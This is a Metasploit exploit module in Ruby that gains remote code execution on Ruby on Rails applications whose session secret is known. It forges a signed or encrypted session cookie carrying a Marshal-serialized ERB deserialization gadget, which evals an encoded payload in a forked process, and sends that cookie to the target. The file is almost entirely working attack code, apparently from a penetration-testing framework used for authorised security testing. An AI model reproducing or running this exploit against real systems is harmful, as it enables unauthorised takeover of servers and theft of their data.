##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # Helper Classes copy/paste from Rails4
  class MessageVerifier

    class InvalidSignature < StandardError; end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class MessageEncryptor

    module NullSerializer # :nodoc:
      def self.load(value)
        value
      end

      def self.dump(value)
        value
      end
    end

    class InvalidMessage < StandardError; end

    OpenSSLCipherError = OpenSSL::Cipher::CipherError

    def initialize(secret, *signature_key_or_options)
      options = signature_key_or_options.extract_options!
      sign_secret = signature_key_or_options.first
      @secret = secret
      @sign_secret = sign_secret
      @cipher = options[:cipher] || 'aes-256-cbc'
      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
      # @serializer = options[:serializer] || Marshal
    end

    def encrypt_and_sign(value)
      @verifier.generate(_encrypt(value))
    end

    def _encrypt(value)
      cipher = new_cipher
      cipher.encrypt
      cipher.key = @secret
      # Rely on OpenSSL for the initialization vector
      iv = cipher.random_iv
      # encrypted_data = cipher.update(@serializer.dump(value))
      encrypted_data = cipher.update(value)
      encrypted_data << cipher.final
      [encrypted_data, iv].map { |v| ::Base64.strict_encode64(v) }.join("--")
    end

    def new_cipher
      OpenSSL::Cipher.new(@cipher)
    end

  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size = 64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',
        'Description' => %q{
          This module implements Remote Command Execution on Ruby on Rails applications.
          Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
          (Rails 4). The values for those can be usually found in the file
          "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
          deserialization of a crafted Ruby Object.
        },
        'Author' => [
          'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2013-0156'],
          ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
        ],
        'DisclosureDate' => '2013-04-11',
        'Platform' => 'ruby',
        'Arch' => ARCH_RUBY,
        'Privileged' => false,
        'Targets' =>	[ ['Automatic', {} ] ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
        OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
        OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie', nil]),
        OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie', 'SHA1']),
        OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),
        OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),
        OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),

      ]
    )
  end

  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
    %Q^
    code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map { |line| line.strip }.join("\n")
  end

  def check_secret(data, digest)
    data = Rex::Text.uri_decode(data)
    if datastore['RAILSVERSION'] == 3
      sigkey = datastore['SECRET']
    elsif datastore['RAILSVERSION'] == 4
      keygen = KeyGenerator.new(datastore['SECRET'], { :iterations => 1000 })
      sigkey = keygen.generate_key(datastore['SALTSIG'])
    end
    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
  end

  def rails_4
    keygen = KeyGenerator.new(datastore['SECRET'], { :iterations => 1000 })
    enckey = keygen.generate_key(datastore['SALTENC'])
    sigkey = keygen.generate_key(datastore['SALTSIG'])
    crypter = MessageEncryptor.new(enckey, sigkey)
    crypter.encrypt_and_sign(build_cookie)
  end

  def rails_3
    # Sign it with the secret_token
    data = build_cookie
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), datastore['SECRET'], data)
    marshal_payload = Rex::Text.uri_encode(data)
    "#{marshal_payload}--#{digest}"
  end

  def build_cookie
    # Embed the payload with the detached stub
    code =
      "eval('" +
      Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
      "'.unpack('m0').first)"

    if datastore['RAILSVERSION'] == 4
      return "\x04\b" +
             "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
             ":\x0E@instanceo" +
             ":\bERB\x07" +
             ":\t@src" + Marshal.dump(code)[2..-1] +
             ":\x0c@lineno" + "i\x00" +
             ":\f@method:\vresult:" +
             "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
    end
    if datastore['RAILSVERSION'] == 3
      return Rex::Text.encode_base64 "\x04\x08" +
                                     "o" + ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + "\x07" +
                                     ":\x0E@instance" +
                                     "o" + ":\x08ERB" + "\x07" +
                                     ":\x09@src" +
                                     Marshal.dump(code)[2..-1] +
                                     ":\x0c@lineno" + "i\x00" +
                                     ":\x0C@method" + ":\x0Bresult"
    end
  end

  #
  # Send the actual request
  #
  def exploit
    if datastore['RAILSVERSION'] == 3
      cookie = rails_3
    elsif datastore['RAILSVERSION'] == 4
      cookie = rails_4
    end
    cookie_name = datastore['COOKIE_NAME']

    print_status("Checking for cookie #{datastore['COOKIE_NAME']}")
    res = send_request_cgi({
      'uri' => datastore['TARGETURI'] || "/",
      'method' => datastore['HTTP_METHOD'],
    }, 25)
    if res && !res.get_cookies.empty?
      match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
    end

    if match
      if match[1] == datastore['COOKIE_NAME']
        print_status("Found cookie, now checking for proper SECRET")
      else
        print_status("Adjusting cookie name to #{match[1]}")
        cookie_name = match[1]
      end

      if check_secret(match[2], match[3])
        print_good("SECRET matches! Sending exploit payload")
      else
        fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
      end
    else
      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
      if cookie_name.nil? || cookie_name.empty?
        # This prevents trying to send busted cookies with no name
        fail_with(Failure::BadConfig, "No cookie found and no name given")
      end
      if datastore['VALIDATE_COOKIE']
        fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
      else
        print_status("Trying to leverage default controller without cookie confirmation.")
      end
    end

    print_status "Sending cookie #{cookie_name}"
    res = send_request_cgi({
      'uri' => datastore['TARGETURI'] || "/",
      'method' => datastore['HTTP_METHOD'],
      'headers' => { 'Cookie' => cookie_name + "=" + cookie },
    }, 25)

    handler
  end
end
